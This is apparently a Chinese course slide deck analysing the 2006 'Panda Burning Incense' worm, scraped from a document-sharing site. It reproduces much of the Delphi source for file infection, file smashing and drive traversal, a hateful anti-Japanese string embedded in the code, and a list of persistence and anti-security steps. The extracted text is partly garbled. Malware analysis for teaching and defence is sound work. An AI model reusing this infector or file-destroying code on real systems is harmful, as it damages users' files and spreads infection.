版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)
文檔簡介
計算機(jī)病毒與防治兆吉鞋業(yè)有限公司資訊部:曾杰彬教學(xué)單元4-4蠕蟲病毒防治
熊貓燒香病毒源碼分析
熊貓燒香病毒特點(diǎn)
熊貓燒香病毒行為分析第二講熊貓燒香蠕蟲病毒剖析
熊貓燒香病毒的手工清除熊貓燒香病毒特點(diǎn)病毒名稱熊貓燒香
又稱尼姆亞、武漢男生、worm.whBoy.、worm.nimaya.
病毒類型蠕蟲病毒危險級別★★★★★影響系統(tǒng)Win9X/ME/NT/2000/XP/2003
熊貓燒香病毒特點(diǎn)2006年底,我國互聯(lián)網(wǎng)上大規(guī)模爆發(fā)“熊貓燒香”病毒及其變種,該病毒通過多種方式進(jìn)行傳播,同時該病毒還具有盜取用戶游戲賬號、QQ賬號等功能。該病毒傳播速度快,危害范圍廣,截至案發(fā)為止,已有上百萬個人用戶、網(wǎng)吧及企業(yè)局域網(wǎng)用戶遭受感染和破壞,引起社會各界高度關(guān)注。
《瑞星2006安全報告》將其列為十大病毒之首,在《2006年度中國大陸地區(qū)電腦病毒疫情和互聯(lián)網(wǎng)安全報告》的十大病毒排行中一舉成為“毒王”。熊貓燒香病毒特點(diǎn)熊貓燒香一個感染型的蠕蟲病毒,它能感染系統(tǒng)中exe,com,pif,src,html,asp等文件,它還能中止大量的反病毒軟件進(jìn)程并且會刪除擴(kuò)展名為gho的文件,該文件是一系統(tǒng)備份工具GHOST的備份文件,使用戶的系統(tǒng)備份文件丟失。
被感染的用戶系統(tǒng)中所有.exe可執(zhí)行文件全部被改成熊貓舉著三根香的模樣。熊貓燒香病毒特點(diǎn)湖北省公安廳2007年2月12日宣布,根據(jù)統(tǒng)一部署,湖北省網(wǎng)監(jiān)在多個省市公安機(jī)關(guān)的配合下,一舉偵破了制作傳播“熊貓燒香”病毒案,抓獲李?。校玻禋q,武漢新洲區(qū)人)。病毒制造者熊貓燒香病毒源碼分析含有病毒體的文件被運(yùn)行后,病毒將自身拷貝至系統(tǒng)目錄,同時修改注冊表將自身設(shè)置為開機(jī)啟動項(xiàng),并遍歷各個驅(qū)動器,將自身寫入磁盤根目錄下,增加一個Autorun.inf文件,使得用戶打開該盤時激活病毒體。隨后病毒體開一個線程進(jìn)行本地文件感染,同時開另外一個線程連接網(wǎng)站下載ddos程序進(jìn)行發(fā)動惡意攻擊。病毒結(jié)構(gòu)
主程序流程圖熊貓燒香病毒源碼分析Program
japussy;useswindows,
sysutils,
classes,
graphics,
shellapi{,
registry};constheadersize
=
82432;
//病毒體的大小iconoffset
=
$12eb8;
//pe文件主圖標(biāo)的偏移量//查找2800000020的十六進(jìn)制字符串可以找到主圖標(biāo)的偏移量{headersize
=
38912;
//upx壓縮過病毒體的大小iconoffset
=
$92bc;
//upx壓縮過pe文件主圖標(biāo)的偏移量}iconsize
=
$2e8;
//pe文件主圖標(biāo)的大小--744字節(jié)icontail
=
iconoffset
+
iconsize;
//pe文件主圖標(biāo)的尾部id
=
$44444444;
//感染標(biāo)記病毒文件初始信息熊貓燒香病毒源碼分析//垃圾碼,以備寫入catchword
=
'if
a
race
need
to
be
killed
out,
it
must
be
yamato.
'
+
'if
a
country
need
to
be
destroyed,
it
must
be
japan!
'
+
'***
w32.japussy.worm.a
***';{$r
*.res}function
registerserviceprocess(dwprocessid,
dwtype:
integer):
integer;
stdcall;
external
'kernel32.dll';
//函數(shù)聲明vartmpfile:
string;si:
startupinfo;pi:
process_information;isjap:
boolean
=
false;
//日文操作系統(tǒng)標(biāo)記熊貓燒香病毒源碼分析{
=====判斷是否為win9x
=====}function
iswin9x:
boolean;varver:
tosversioninfo;beginresult
:=
false;ver.dwosversioninfosize
:=
sizeof(tosversioninfo);if
not
getversionex(ver)
then
exit;if
(ver.dwplatformid
=
ver_platform_win32_windows)
then
//win9x
result
:=
true;end;熊貓燒香病毒源碼分析{=====
在流之間復(fù)制=====
}procedure
copystream(src:
tstream;
sstartpos:
integer;
dst:
tstream;dstartpos:
integer;
count:
integer);varscurpos,
dcurpos:
integer;beginscurpos
:=
src.position;dcurpos
:=
dst.position;src.seek(sstartpos,
0);dst.seek(dstartpos,
0);dst.copyfrom(src,
count);src.seek(scurpos,
0);dst.seek(dcurpos,
0);end;熊貓燒香病毒源碼分析{======將宿主文件從已感染的PE文件中分離出來,以備使用=====}procedure
extractfile(filename:
string);varsstream,
dstream:
tfilestream;begintrysstream
:=
tfilestream.create(paramstr(0),
fmopenread
or
fmsharedenynone);trydstream
:=
tfilestream.create(filename,
fmcreate);trysstream.seek(headersize,
0);
//跳過頭部的病毒部分dstream.copyfrom(sstream,
sstream.size
-
headersize);finallydstream.free;end;finallysstream.free;end;熊貓燒香病毒源碼分析{=====
填充startupinfo結(jié)構(gòu)
=====}procedure
fillstartupinfo(var
si:
startupinfo;
state:
word);beginsi.cb
:=
sizeof(si);si.lpreserved
:=
nil;si.lpdesktop
:=
nil;si.lptitle
:=
nil;si.dwflags
:=
startf_useshowwindow;si.wshowwindow
:=
state;si.cbreserved2
:=
0;si.lpreserved2
:=
nil;end;{
=====發(fā)帶毒郵件=====
}procedure
sendmail;//此處省略了帶危害性的代碼beginend;熊貓燒香病毒源碼分析{=====感染PE文件=====}procedure
infectonefile(filename:
string);varhdrstream,
srcstream:
tfilestream;icostream,
dststream:
tmemorystream;iid:
longint;aicon:
ticon;infected,
ispe:
boolean;i:
integer;buf:
array[0..1]
of
char;begintry
//出錯則文件正在被使用,退出
if
comparetext(filename,
'japussy.exe')
=
0
then
//是自己則不感染exit;infected
:=
false;ispe
:=
false;熊貓燒香病毒源碼分析srcstream
:=
tfilestream.create(filename,
fmopenread);tryfor
i
:=
0
to
$108
do
//檢查pe文件頭beginsrcstream.seek(i,
sofrombeginning);srcstream.read(buf,
2);if
(buf[0]
=
#80)
and
(buf[1]
=
#69)
then
//pe標(biāo)記beginispe
:=
true;
//是pe文件break;end;end;srcstream.seek(-4,
sofromend);
//檢查感染標(biāo)記srcstream.read(iid,
4);if
(iid
=
id)
or
(srcstream.size
<
10240)
then
//太小的文件不感染infected
:=
true;finallysrcstream.free;end;熊貓燒香病毒源碼分析if
infected
or
(not
ispe)
then
//如果感染過了或不是pe文件則退出exit;icostream
:=
tmemorystream.create;dststream
:=
tmemorystream.create;tryaicon
:=
ticon.create;try//得到被感染文件的主圖標(biāo)(744字節(jié)),存入流
aicon.releasehandle;aicon.handle
:=
extracticon(hinstance,
pchar(filename),
0);aicon.savetostream(icostream);finallyaicon.free;end;熊貓燒香病毒源碼分析srcstream
:=
tfilestream.create(filename,
fmopenread);
//頭文件hdrstream
:=
tfilestream.create(paramstr(0),
fmopenread
or
fmsharedenynone);
try//寫入病毒體主圖標(biāo)之前的數(shù)據(jù)copystream(hdrstream,
0,
dststream,
0,
iconoffset);//寫入目前程序的主圖標(biāo)copystream(icostream,
22,
dststream,
iconoffset,
iconsize);//寫入病毒體主圖標(biāo)到病毒體尾部之間的數(shù)據(jù)copystream(hdrstream,
icontail,
dststream,
icontail,
headersize
-
icontail);//寫入宿主程序copystream(srcstream,
0,
dststream,
headersize,
srcstream.size);//寫入已感染的標(biāo)記dststream.seek(0,
2);iid
:=
$44444444;dststream.write(iid,
4);finally熊貓燒香病毒源碼分析{=====將目標(biāo)文件寫入垃圾碼后刪除======}procedure
smashfile(filename:
string);varfilehandle:
integer;i,
size,
mass,
max,
len:
integer;Begintrysetfileattributes(pchar(filename),
0);
//去掉只讀屬性filehandle
:=
fileopen(filename,
fmopenwrite);
//打開文件trysize
:=
getfilesize(filehandle,
nil);
//文件大小i
:=
0;randomize;max
:=
random(15);
//寫入垃圾碼的隨機(jī)次數(shù)if
max
<
5
thenmax
:=
5;熊貓燒香病毒源碼分析mass
:=
size
div
max;
//每個間隔塊的大小len
:=
length(catchword);while
i
<
max
dobeginfileseek(filehandle,
i
*
mass,
0);
//定位//寫入垃圾碼,將文件徹底破壞掉filewrite(filehandle,
catchword,
len);inc(i);end;finallyfileclose(filehandle);
//關(guān)閉文件end;//刪除之deletefile(pchar(filename));
熊貓燒香病毒源碼分析{
=====獲得可寫的驅(qū)動器列表
=====}function
getdrives:
string;vardisktype:
word;d:
char;str:
string;i:
integer;beginfor
i
:=
0
to
25
do
//遍歷26個字母begind
:=
chr(i
+
65);str
:=
d
+
':\';disktype
:=
getdrivetype(pchar(str));//得到本地磁盤和網(wǎng)絡(luò)盤if
(disktype
=
drive_fixed)
or
(disktype
=
drive_remote)
thenresult
:=
result
+
d;end;熊貓燒香病毒源碼分析{=====遍歷目錄,感染和摧毀文件=====}procedure
loopfiles(path,
mask:
string);vari,
count:
integer;fn,
ext:
string;subdir:
tstrings;searchrec:
tsearchrec;msg:
tmsg;function
isvaliddir(searchrec:
tsearchrec):
integer;beginif
(searchrec.attr
<>
16)
and
(
<>
'.')
and(
<>
'..')
thenresult
:=
0
//不是目錄else
if
(searchrec.attr
=
16)
and
(
<>
'.')
and(
<>
'..')
thenresult
:=
1
//不是根目錄else
result
:=
2;
//是根目錄end;熊貓燒香病毒源碼分析beginif
(findfirst(path
+
mask,
faanyfile,
searchrec)
=
0)
thenbeginrepeatpeekmessage(msg,
0,
0,
0,
pm_remove);
//調(diào)整消息隊(duì)列,避免引起懷疑if
isvaliddir(searchrec)
=
0
thenbeginfn
:=
path
+
;ext
:=
uppercase(extractfileext(fn));if
(ext
=
'.exe')
or
(ext
=
'.scr')
thenbegininfectonefile(fn);
//感染可執(zhí)行文件
endelse
if
(ext
=
'.htm')
or
(ext
=
'.html')
or
(ext
=
'.asp')
thenbegin//感染html和asp文件,將base64編碼后的病毒寫入//感染瀏覽此網(wǎng)頁的所有用戶end熊貓燒香病毒源碼分析else
if
ext
=
'.wab'
then
//outlook地址簿文件begin//獲取outlook郵件地址endelse
if
ext
=
'.adc'
then
//foxmail地址自動完成文件begin//獲取foxmail郵件地址endelse
if
ext
=
'ind'
then
//foxmail地址簿文件begin//獲取foxmail郵件地址子過程是典型的遍歷本機(jī)中所有可用盤中的所有子目錄下的所有文件并施行相應(yīng)操作的編碼。在確定當(dāng)前文件為可執(zhí)行文件(僅針對.EXE和.SCR文件)后,調(diào)用子過程InfectOneFile進(jìn)行特定的感染。熊貓燒香病毒源碼分析{=====遍歷磁盤上所有的文件=====}procedure
infectfiles;vardriverlist:
string;i,
len:
integer;beginif
getacp
=
932
then
//日文操作系統(tǒng)isjap
:=
true;
driverlist
:=
getdrives;
//得到可寫的磁盤列表len
:=
length(driverlist);while
true
do
//死循環(huán)beginfor
i
:=
len
downto
1
do
//遍歷每個磁盤驅(qū)動器loopfiles(driverlist
+
':\',
'*.*');
//感染之sendmail;
//發(fā)帶毒郵件sleep(1000
*
60
*
5);
//睡眠5分鐘熊貓燒香病毒源碼分析這里的核心是后面的死循環(huán)。先讓我們分析較簡單的“發(fā)帶毒郵件”部分。從后面病毒具體遍歷可用磁盤并執(zhí)行具體感染過程可知,此過程中,它會取得安裝在本機(jī)中的常用郵件客戶端程序(Outlook,F(xiàn)oxMail)相應(yīng)電子郵件信息。其目的是:取得重要郵箱地址及相應(yīng)密碼,然后向這些郵件地址群發(fā)帶毒的電子郵件,從而達(dá)到利用網(wǎng)絡(luò)傳播自身的目的。熊貓燒香病毒源碼分析{==================主程序開始=================}beginif
iswin9x
then
//是win9xregisterserviceprocess(getcurrentprocessid,
1)
//注冊為服務(wù)進(jìn)程else
//winntbegin//遠(yuǎn)程線程映射到explorer進(jìn)程
end;雖然源碼提供者省略了相應(yīng)實(shí)現(xiàn),但這是比較基本的編程實(shí)現(xiàn)。通過把自身注冊為服務(wù)進(jìn)程,可以使自己隨著系統(tǒng)的啟動一起啟動。當(dāng)然,還可以進(jìn)一步施加技巧而使自己從Windows任務(wù)管理器下隱藏顯示。熊貓燒香病毒源碼分析//如果是原始病毒體自己if
comparetext(extractfilename(paramstr(0)),
'japussy.exe')
=
0
then
infectfiles
//感染和發(fā)郵件else
//已寄生于宿主程序上了,開始工作begintmpfile
:=
paramstr(0);
//創(chuàng)建臨時文件delete(tmpfile,
length(tmpfile)
-
4,
4);tmpfile
:=
tmpfile
+
#32
+
'.exe';
//真正的宿主文件,多一個空格extractfile(tmpfile);
//分離之fillstartupinfo(si,
sw_showdefault);createprocess(pchar(tmpfile),
pchar(tmpfile),
nil,
nil,
true,0,
nil,
'.',
si,
pi);
//創(chuàng)建新進(jìn)程運(yùn)行之infectfiles;
//感染和發(fā)郵件end;熊貓燒香病毒主要行為分析熊貓燒香病毒樣本
熊貓燒香病毒感染D盤中的文件熊貓燒香病毒主要行為分析熊貓燒香病毒主要行為分析(1)復(fù)制自身到系統(tǒng)目錄下:C:\WINDOWS\System32\Drivers\spoclsv.exe。熊貓燒香病毒在系統(tǒng)盤下生成的文件熊貓燒香病毒主要行為分析(2)在各分區(qū)根目錄生成病毒副本:X:\setup.exeX:\autorun.inf其中autorun.inf中的內(nèi)容是:[AutoRun]OPEN=setup.exeshellexecute=setup.exeshell\Auto\command=setup.exe熊貓燒香病毒主要行為分析(3)創(chuàng)建啟動項(xiàng):[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]svcshare"="%System%\drivers\spoclsv.exe"熊貓燒香在注冊表中添加啟動項(xiàng)熊貓燒香病毒主要行為分析(4)使用netshare命令關(guān)閉管理共享:cmd.exe/cnetshareX$/del/ycmd.exe/cnetshareadmin$/del/y(5)修改“顯示所有文件和文件夾”設(shè)置:[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]"CheckedValue"=dword:00000000(6)嘗試關(guān)閉安全軟件相關(guān)窗口:天網(wǎng)防火墻進(jìn)程、VirusScan、NOD32等
(7)嘗試結(jié)束安全軟件相關(guān)進(jìn)程:Mcshield.exeVsTskMgr.exe等
熊貓燒香病毒主要行為分析(8)禁用安全軟件相關(guān)服務(wù):Scheduleshar
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 2025年南寧貨運(yùn)從業(yè)資格證模擬考試題庫及答案
- 2025年?duì)I口交通運(yùn)輸從業(yè)資格證怎樣考試
- 2025購買房地產(chǎn)居間合同
- 2024年度互聯(lián)網(wǎng)醫(yī)療服務(wù)平臺運(yùn)營與推廣合同3篇
- 2024商標(biāo)許可及聯(lián)合營銷推廣合作協(xié)議3篇
- 單位人力資源管理制度匯編大合集
- 2024實(shí)習(xí)教師教育實(shí)習(xí)期間生活服務(wù)保障合同2篇
- 廚房刀具安全使用指南
- 電力工程招投標(biāo)代理協(xié)議范例
- 2024年度全球物流網(wǎng)絡(luò)優(yōu)化服務(wù)合同3篇
- 乙烯裂解汽油加氫裝置設(shè)計
- 計劃分配率和實(shí)際分配率_CN
- 小學(xué)語文作文技巧六年級寫人文章寫作指導(dǎo)(課堂PPT)
- NLP時間線療法
- JJG596-2012《電子式交流電能表檢定規(guī)程》
- 醫(yī)療質(zhì)量檢查分析、總結(jié)、反饋
- 《APQP培訓(xùn)資料》
- 通信線路架空光纜通用圖紙指導(dǎo)
- 家具銷售合同,家居訂購訂貨協(xié)議A4標(biāo)準(zhǔn)版(精編版)
- 食品加工與保藏課件
- 銅芯聚氯乙烯絕緣聚氯乙烯護(hù)套控制電纜檢測報告可修改
評論
0/150
提交評論